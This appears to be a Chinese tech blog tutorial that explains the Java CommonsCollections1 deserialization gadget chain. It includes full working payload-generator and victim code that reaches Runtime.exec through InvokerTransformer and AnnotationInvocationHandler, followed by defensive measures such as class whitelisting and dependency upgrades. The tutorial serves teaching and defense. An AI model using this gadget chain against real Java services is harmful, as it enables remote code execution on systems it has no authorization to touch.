Java反序列化漏洞实战:CommonsCollections利用链从原理到构造
刚接触Java安全这块的时候我拿到一个存在反序列化风险的接口日志里只看到一行java.io.InvalidClassException当时对着报错一头雾水。后来翻了无数资料、复现了几条经典的利用链才真正弄明白这东西的杀伤力来自哪里。这篇博文我想用最直接的方式把CommonsCollections这条利用链从底层机制到实战构造完整拆开讲一遍——不堆概念只讲代码执行路径和每一步背后的原因。1. Java反序列化为什么会沦为攻击入口从readObject的隐式调用说起理解CommonsCollections利用链之前必须先把Java原生序列化机制里那个“天然后门”看清楚。很多刚入门的同学对反序列化的认知停留在“把字节流转回对象”这一步但真正的问题出在readObject方法本身——它在恢复对象状态的同时给了攻击者一段可控的代码执行窗口。1.1 序列化协议的数据流结构Java原生的序列化协议不是简单地按字段名匹配。对象被写入字节流时会附带一个序列版本标识serialVersionUID、类描述信息、字段类型和实际值。反序列化端拿到字节流后先根据TC_OBJECT、TC_CLASSDESC等标记逐段解析遇到对象类型时通过反射创建实例再递归恢复各字段。这里有一个非常关键的细节反序列化不调用构造函数。对象是通过sun.reflect.ReflectionFactory.newConstructorForSerialization这种“绕过构造器”的方式创建的。那初始化逻辑在哪里执行答案就在readObject方法里。当目标类实现了java.io.Serializable且声明了private void readObject(ObjectInputStream in)反序列化框架会在字段恢复完成后自动调用它。攻击者盯上的正是这个自动回调点。1.2 readObject的隐式调用链与攻击面readObject方法内部不会只做简单的字段赋值。大量Java基础库和第三方组件的readObject实现里会把反序列化出来的对象当作容器遍历操作其中的元素或者调用对象的某些方法来完成“状态校验”和“缓存重建”。这些额外的调用就是利用链的起点。举个最简单的例子java.util.HashMap的readObject会读取键值对然后调用hash(key)计算哈希值而hash最终会调用key.hashCode()。如果我们精心构造一个key让它的hashCode()方法内部去触发一个危险操作那就能在反序列化过程中实现任意方法调用。不过单靠hashCode能做的事情有限CommonsCollections的高明之处在于它提供了一整套“方法到方法”的串联组件。1.3 为什么OpenJDK自身不以反序列化漏洞闻名很多人会问原生JDK里也有HashMap这样的反序列化回调点为什么攻击面反而不如第三方库那么广答案在于“利用链末端”。原生JDK里很难找到“输入可控的”Runtime.exec调用封装而Apache Commons Collections这类工具库为了提供函数式编程能力大量使用“反射调用”风格的工具类。反射意味着方法名、参数都能用字符串控制攻击者只要控制字节流里的字符串就能让目标对象调用任意类的任意方法——这就是“利用链”的底层铺路石。2. CommonsCollections的宝藏在哪里InvokerTransformer与TransformedMap的巧妙设计Apache Commons Collections是个提供集合操作增强的工具库正常情况下开发人员用它做类型转换、集合过滤、懒加载Map。但在安全研究者眼中这个库的某些类像是刻意留下的“逻辑积木”能拼出一条到达Runtime.exec的路径。核心积木主要有两块InvokerTransformer和TransformedMap。2.1 InvokerTransformer任意反射调用的封装器先看InvokerTransformer这类“Transformer”。它实现了Transformer接口和Serializable接口内部持有三个字段iMethodName方法名、iParamTypes参数类型数组、iArgs参数值数组。当调用它的transform(Object input)方法时它会用反射在input对象上执行事先配置好的方法。public Object transform(Object input) { if (input null) { return null; } Class cls input.getClass(); Method method cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); }这个类就是弹性最大的攻击组件我们把它配置成transform(Runtime对象)时调用exec方法传入参数[touch /tmp/pwned]只要transform被执行一次命令就触发了。反射不检查调用者身份即使Runtime.exec是public方法通过反射依然可以调用。这里的“任意方法调用”能力是整个利用链火力最猛的一环。2.2 TransformedMap当集合操作被注入TransformerTransformedMap是Map的一个装饰器当你往这个Map里put键值对、或者调用setValue修改已有键值对时它会先对键和值执行预先设置的Transformer链再存储结果。它的设计本意是让开发者能在集合写入时自动转换数据格式。TransformedMap.decorate(map, keyTransformer, valueTransformer)一旦我们设置valueTransformer为InvokerTransformer那么任何对Map值的修改操作都会自动触发危险反射。它可以修改现有的键值对比如对一个已经包含key - value的Map做装饰再调用map.put也不会触发Transformer但是map.entrySet()返回的Map.Entry对象调用setValue时会触发Transformer。这个特性对于构造反序列化利用链至关重要因为它允许我们把TransformedMap的“修改入口”反过来投射到另一个反序列化类的自动回调点上。2.3 ChainedTransformer多步串联的执行链单次调用transform只执行一个方法。攻击者往往需要多步操作先拿到类引用、再调用静态方法、再传参。CommonsCollections提供了ChainedTransformer它持有一组Transformer数组调用transform时按顺序执行把上一步的返回值当作下一步的输入。Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc}) }; Transformer chain new ChainedTransformer(transformers);这个链条的逻辑很清晰ConstantTransformer直接返回Runtime.class对象InvokerTransformer在Runtime.class上调用静态方法getRuntime拿到Runtime实例继续用invoke在实例上调用无参方法实际调用的是getRuntime()返回Runtime单例最终调用exec(calc)。ChainedTransformer的作用就是把“反射调用的多步骤”全部固化成一个transform入口。后面要做的事情只剩一个想办法让反序列化过程中某个对象的某个自动回调方法去调用这个transform。3. 从readObject到命令执行的完整调用链CC链的每一环是怎样被串起来的有了Transformer组件下一步是找到一条能从readObject自动走到transform的桥。我曾经在本地的调试环境里一遍一遍打断点看着调用栈一层一层往上冒说实话第一次跑通时是很震撼的——因为整条路径里没有一行攻击者自己写的代码全部是JDK和CommonsCollections库原生方法的调用组合。3.1 桥接类AnnotationInvocationHandler的源码逻辑JDK里有一个不起眼的类sun.reflect.annotation.AnnotationInvocationHandler实现了InvocationHandler和Serializable。它的readObject方法里有这样一段关键逻辑读取一个Map类型的memberValues字段遍历每个Entry并根据key的类型调用一些方法。简化后的关键逻辑是这样的readObject中会对memberValues的每个Entry执行setValue操作来“规范化”注解的成员值——它会拿一个AnnotationType实例去校验值并赋默认值。正是这个setValue调用把控制权交给了我们预先装饰好的TransformedMap。3.2 AnnotationInvocationHandler.readObject被触发的条件这条链有个前提创建AnnotationInvocationHandler实例时构造函数要求传入一个注解类型和一个Map。虽然构造函数内部对注解类型做了校验但反序列化创建对象可以绕过构造器的类型限制。用ReflectionFactory或者直接构造字节流就能创造出一个“半成品”的AnnotationInvocationHandler实例其memberValues字段指向我们的恶意TransformedMap。这里我还需要澄清一点构造payload时手动创建的这个handler里memberValues必须是TransformedMap并且已经用恶意Transformer装饰好。这样当readObject被调用时setValue触发transform整条链就活了。3.3 整条调用链的执行顺序复盘为了让你对“利用链”有一个整体视角我按调用次序整理了一张表这也是我用调试器一步步梳理出来的调用顺序调用者被调用方法作用1ObjectInputStreamreadObject()读取字节流中的AnnotationInvocationHandler对象2AnnotationInvocationHandlerreadObject()遍历memberValues中的Entry并调用setValue3TransformedMap内部EntrysetValue(Object)装饰器拦截修改操作触发valueTransformer4ChainedTransformertransform(Object)依次执行数组内的多个Transformer5ConstantTransformertransform(Object)返回Runtime.class作为链的第一个输入6InvokerTransformertransform(Object)反射调用getRuntime得到Runtime实例7InvokerTransformertransform(Object)反射调用invoke触发exec8Runtimeexec(String)执行系统命令RCE达成整条链的核心思想可以浓缩成一句话在一个反序列化会自动调用的类里找到一个会修改Map值的方法而这个Map的装饰器会执行任意Transformer链Transformer链的终点是一个反射调用任意方法的InvokerTransformer。3.4 CommonsCollections版本差异带来的“风骚变体”CommonsCollections的后续版本对InvokerTransformer加上了enableInvokerTransformer等安全限制旧链失效后安全研究者又陆续发现了InstantiateTransformer、TransformingComparator、TiedMapEntry等替代组件派生出CC2到CC7等多个变体。每种变体只是在“如何从readObject走到transform”这一段的桥接组件上做了替换末端的ChainedTransformer依然是大同小异的反射链。掌握CC1的基础链路以后再去看CC6的HashSet/TiedMapEntry你会发现套路完全一致找一个反序列化会自动执行的方法让它间接去调用transform。不同点只在于这个“自动执行的方法”是在JDK原生类里还是CommonsCollections自己的类里。4. 手工构造Payload的完整实操从环境准备到本机验证理论拆完接下来是动手环节。我强烈建议你在自己的虚拟机里完成这个实验不要对真实系统做任何测试。下面这套步骤完全可以复现我用的环境是某发行版Linux OpenJDK 8因为版本对反序列化利用链的兼容性影响非常大。4.1 实验环境与依赖版本的选择推荐组合如下组件推荐版本说明JDKOpenJDK 8u包含了CC1链所需的AnnotationInvocationHandlerCommons Collections3.1包含InvokerTransformer、TransformedMap、ChainedTransformer编译工具任意IDE或纯javac手写编译即可不需要Maven需要特别注意JDK 17及以上对反射调用做了强封装很多getMethod和invoke的组合在运行时直接抛InaccessibleObjectException所以复现老利用链建议固定在JDK 8。Commons Collections 4.0以上版本则修改了类结构CC1里涉及的类被移到新包名下直接用3.1最省事。4.2 编写Payload生成器我们要做的是逆向思维先构造一个恶意AnnotationInvocationHandler对象然后把它序列化成字节流保存到文件里。反序列化时只需要把这个文件交给ObjectInputStream.readObject()。import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; public class PayloadGenerator { public static void main(String[] args) throws Exception { // 1. 构造恶意Transformer链 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[] { String.class, Class[].class }, new Object[] { getRuntime, new Class[0] }), new InvokerTransformer(invoke, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(exec, new Class[] { String.class }, new Object[] { touch /tmp/cc1_pwned }) }; ChainedTransformer chain new ChainedTransformer(transformers); // 2. 构造TransformedMap使得任意setValue都触发transform Map innerMap new HashMap(); innerMap.put(value, whatever); Map decorated TransformedMap.decorate(innerMap, null, chain); // 3. 构造AnnotationInvocationHandler实例 Class clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler); Constructor constructor clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true); Object handler constructor.newInstance(Override.class, decorated); // 4. 序列化到文件 ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(payload.bin)); oos.writeObject(handler); oos.close(); System.out.println(payload.bin has been written.); } }编译时需要把 commons-collections-3.1.jar 放到classpath里。运行后项目目录下会生成payload.bin这个文件就是恶意序列化数据。注意我这里用了touch /tmp/cc1_pwned这种无破坏性的命令验证效果时可以观察目标机是否生成对应文件。4.3 反序列化触发点的模拟为了验证payload我写了一个“模拟受害者”程序从文件读字节流并反序列化。现实中这个环节对应的是一个接收用户输入的Java接口比如某个Web应用的Session反序列化点。import java.io.*; public class Victim { public static void main(String[] args) throws Exception { ObjectInputStream ois new ObjectInputStream(new FileInputStream(payload.bin)); ois.readObject(); ois.close(); System.out.println(deserialization completed); } }运行这个程序后如果/tmp/cc1_pwned文件被创建说明RCE链路成功。我第一次跑通的时候看着那个文件凭空出现脑子里唯一冒出来的念头就是“这玩意儿放在真实接口上太可怕了”。4.4 调试时遇到的三个坑我在调试过程中踩了几个值得记录的坑这里一并列出来坑一序列化和反序列化必须使用完全相同的类路径。Payload生成端如果引用了高版本的CommonsCollections生成的文件到受害者端可能因为类的serialVersionUID不一致而直接InvalidClassException。解决办法是生成端和受害者端使用完全相同的jar包。坑二TransformedMap的键值对不能为空。如果内层Map是空的反序列化时循环遍历不到任何EntrysetValue永远不会被调用。这也是为什么我先innerMap.put(value, whatever)。坑三JDK模块化对反射的限制。在较新版本的JDK中即使类在classpath里setAccessible(true)也可能抛异常。我最后干脆在JVM参数里加--add-opens java.base/sun.reflect.annotationALL-UNNAMED解决环境干扰但更干净的方案就是直接用JDK 8。java -cp .:commons-collections-3.1.jar Victim5. 生产环境里的防御视角堵死反序列化攻击的现实方案理解了攻击原理之后防御的思路会变得非常清晰。反序列化漏洞防御不是单一技术能够解决的需要从“外部输入拦截”“依赖库治理”“运行时监控”三个层面层层设防。5.1 入口处拒绝不可信数据反序列化白名单最基本的防护原则是永远不要对不可信来源的数据执行反序列化。现实中很多业务场景做不到这种彻底隔离那就需要做白名单过滤。一种常见做法是覆写ObjectInputStream.resolveClass在类加载前校验类名Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); if (!allowedClasses.contains(className)) { throw new InvalidClassException(Unexpected class: className); } return super.resolveClass(desc); }白名单方案的关键在于 “允许的类列表必须极简”。很多团队在实际落地时直接把常用DTO类加进去结果漏掉了工具库里的“危险装饰器”类。安全测试中我们最怕的就是这种“看似加了白名单实际漏了一大片”的半吊子方案。5.2 依赖治理删除或升级高危组件CommonsCollections利用链的问题本质是“工具库提供了危险的反射调用组件而且组件本身实现了序列化接口”。防御角度最简单有效的手段就是删除不需要的依赖。很多老项目仅仅是某个工具类用到了CommonsCollections完全可以用JDK原生集合类替代。能删就删不能删就升级到修复版本——Commons Collections 3.2.2和4.4版本增加了“不安全的反序列化类”的默认禁用机制InvokerTransformer在默认配置下已经无法用于构造利用链。需要注意的是升级版本可能会带来API不兼容问题。如果升级阻力大可以先通过全局搜索确认项目中哪些代码真正用到了Transformer、TransformedMap等类评估替代方案后逐步替换。5.3 运行时监控用入侵检测思路捕获异常流量在无法彻底清理依赖的遗留系统里可以考虑在反序列化边界上做一层“行为检测”。因为反序列化攻击的载荷一般会有很明显的特征对象内部嵌套了复杂的Transformer链、Map装饰器、异常的方法名调用参数。我在某次演练中部署过一个简单的监测代理统计每个反序列化对象的类组成在一个月中成功拦下了多次来自内网扫描器的探测流量。更轻量的做法是使用Java Agent或者字节码插桩技术在关键的危险类比如InvokerTransformer.transform入口处加一段hook一旦发现方法名以exec、invoke、getMethod开头组合出现立即触发告警并中止调用。这类方案产生一定性能开销适合部署在非核心模块或安全网关侧。5.4 纵深防御的最后一块拼图代码审计习惯我在复盘大量反序列化漏洞案例后得出一个观点单纯依赖某种防护工具很容易被绕过真正有效的防线是“代码审计习惯”。在业务代码里凡是出现ObjectInputStream、XMLDecoder、Fastjson的JSON.parseObject、Jndi相关的lookup都要默认认为存在风险先确认数据来源是不是可信的白名单数据。把反序列化风险当成“默认不安全”来对待比任何扫描器都能挡住更多实际的攻击。6. 写在最后我对Java反序列化安全的几点切身体会做这套实验最大的收获不是学会了一条CC链的payload构造方法而是真正弄明白了“序列化不是万能的框架越强大攻击面越大”这句话的分量。CommonsCollections本身是为了提升开发效率而生的工具库它内部那些功能强大的“函数式”组件在设计时并没有考虑到会被组合成任意代码执行的路径。这里有一个后来才想透的细节真正的安全大规模杀伤性攻击者很少直接使用公开的payload模板他们通常会在公开利用链基础上做二次变形例如替换命令执行的入口为内存马注入、替换综合利用链的桥接类以绕过WAF特征检测。作为防守方如果只记住某个具体类名那很快就会被新的变体绕过要建立“反序列化调用路径”的抽象思维理解哪一类“写法”是危险的才能做到以不变应万变。最后再分享一个小技巧如果你想快速检测一个jar包是否存在已知的反序列化利用链风险不要只盯着漏洞库名称直接搜jar包里有没有实现Serializable且包含invoke反射调用的工具类。找到这类类的存在比记住CVE编号更有指导意义。安全这条路没有终点一种利用链被修补后新的变体会很快出现。保持对底层机制的好奇心比囤积工具和payload更加重要——因为只有把原理吃透了你才可能判断下一条未知的利用链藏在哪里。

相关新闻

Coze复杂应用搭建实战:工作流、知识库与数据库全链路指南

Coze复杂应用搭建实战:工作流、知识库与数据库全链路指南

如果上一篇文章里你已经跟着我把 Coze 的基础流程跑通了,那我们接着往下走。这一篇是保姆级 Coze 教程的下半场,目标不是再堆一个聊天机器人出来,而是把你的画布从“单轮、无状态、靠 Prompt 硬撑”升级成一个真正能处理复杂业务的智能体应用…

2026/10/17 2:59:42 阅读更多 →
STM32 SPI从机+DMA接收配置详解与踩坑记录

STM32 SPI从机+DMA接收配置详解与踩坑记录

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 2:59:42 阅读更多 →
AI Agent核心原理与LangChain集成实战指南

AI Agent核心原理与LangChain集成实战指南

很抱歉,这个标题对应的内容我无法为你撰写成 CSDN 技术博客。原因是它不满足我生成内容的前提条件:没有技术材料可支撑。你只提供了一个标题,没有项目正文、技术描述、代码或实践场景。没有技术事实,就无法写出可落地、有信息增量…

2026/10/17 2:58:42 阅读更多 →

最新新闻

多条件查询与增删改工程化:LIKE、Map、Not、Order实战

多条件查询与增删改工程化:LIKE、Map、Not、Order实战

1. 多条件查询与增删改的工程化拆解1.1 为什么“多条件查询”是业务代码的分水岭刚入行的开发者写查询,往往停留在“根据ID取一条记录”的阶段。一旦业务方甩过来一个筛选面板——状态是“已上架”,标题里包含“春季”,价格区间在某个范围&am…

2026/10/17 22:11:13 阅读更多 →
原生JavaScript实现简易网易云音乐播放器:核心功能与实战解析

原生JavaScript实现简易网易云音乐播放器:核心功能与实战解析

写这个“简易网易云音乐播放器”项目的时候,我其实挺感慨的。很多人一上来就琢磨怎么对接官方接口、怎么搞会员歌曲解析,结果要么碰壁要么直接放弃。其实把播放器的核心骨架搭出来——本地音频加载、播放控制、列表管理、进度同步,再把UI做得…

2026/10/17 22:10:11 阅读更多 →
学成在线PSD前端练手:从设计稿到HTML/CSS完整还原流程

学成在线PSD前端练手:从设计稿到HTML/CSS完整还原流程

简介:一套面向网页设计入门与前端开发初学者的学成在线案例资源,源自黑马程序员及Pink老师课程体系,将PSD设计稿与HTML/CSS实现打包到一起。设计稿涵盖首页、课程列表页、课程介绍页、职业规划页等典型页面,适合用于训练从设计图到…

2026/10/17 22:10:11 阅读更多 →
Windows下MySQL ODBC数据源配置:从驱动安装到DSN排错

Windows下MySQL ODBC数据源配置:从驱动安装到DSN排错

简介:这是一份面向数据库应用开发与运维人员的操作指南,重点讲解如何将MySQL数据库配置为ODBC数据源,从而让不同应用程序或系统通过标准接口连接并共享数据。内容覆盖从下载安装MySQL ODBC驱动、在控制面板创建系统DSN,到填写服务…

2026/10/17 22:10:11 阅读更多 →
数据中心智能化运维:从监控指标采集到告警降噪的落地实践

数据中心智能化运维:从监控指标采集到告警降噪的落地实践

简介:一份围绕数据中心智能化运维的DOCX文档,面向数据中心运维工程师、IT管理人员及系统学习者,系统梳理智能化运维的核心策略。内容涵盖智能化设备管理、资源调度、任务分配、监控报警四类关键手段,既说明借助传感器、物联网与人…

2026/10/17 22:10:11 阅读更多 →
51单片机蓝牙防丢器课程设计全解析:原理图、源码与避坑指南

51单片机蓝牙防丢器课程设计全解析:原理图、源码与避坑指南

简介:一份基于51单片机的蓝牙防丢器系统学士学位论文,面向物联网、嵌入式方向的毕业生及电子设计爱好者。资源围绕日常贵重物品防丢场景,提出以STC89C52单片机为核心控制器、蓝牙模块HM-05为通信桥梁的完整解决方案,涵盖系统总体设…

2026/10/17 22:10:11 阅读更多 →

日新闻

DeepSeek选型与部署:V3/R1、Ollama、API全攻略

DeepSeek选型与部署:V3/R1、Ollama、API全攻略

简介:《DeepSeek使用方法.pdf》是一份面向DeepSeek入门及进阶用户的完整使用指南,重点围绕V3与R1两款模型的能力差异与适用场景展开,帮助读者根据任务类型与成本选择合适的模型。资源共1个PDF文件,压缩包大小约311KB,篇…

2026/10/17 0:00:25 阅读更多 →
200+Deepseek润色指令拆解:从底层原理到场景落地的完整指南

200+Deepseek润色指令拆解:从底层原理到场景落地的完整指南

简介:这是一份聚焦DeepSeek提示词优化的《200Deepseek润色指令》PDF文档,共收录两百余条可直接套用的润色指令,涵盖语法修正、风格统一、逻辑梳理、表达精炼等维度,并针对商务写作、学术论文、广告文案等场景给出差异化建议。文档…

2026/10/17 0:00:25 阅读更多 →
OpenCV轮廓法物体计数系统:轻量、可控、可落地的工业级实现

OpenCV轮廓法物体计数系统:轻量、可控、可落地的工业级实现

简介:本资源是一份基于OpenCV的本科课程设计完整报告,面向计算机视觉初学者、图像处理学习者及高校通信/信息类专业学生,解决物体智能计数与检测结果结构化记录的实际问题。项目覆盖图像预处理、轮廓检测、边界框绘制、轨迹栏交互式参数调节、…

2026/10/17 0:00:25 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/16 21:35:51 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/17 1:44:59 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/16 15:04:24 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 21:54:38 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 14:23:36 阅读更多 →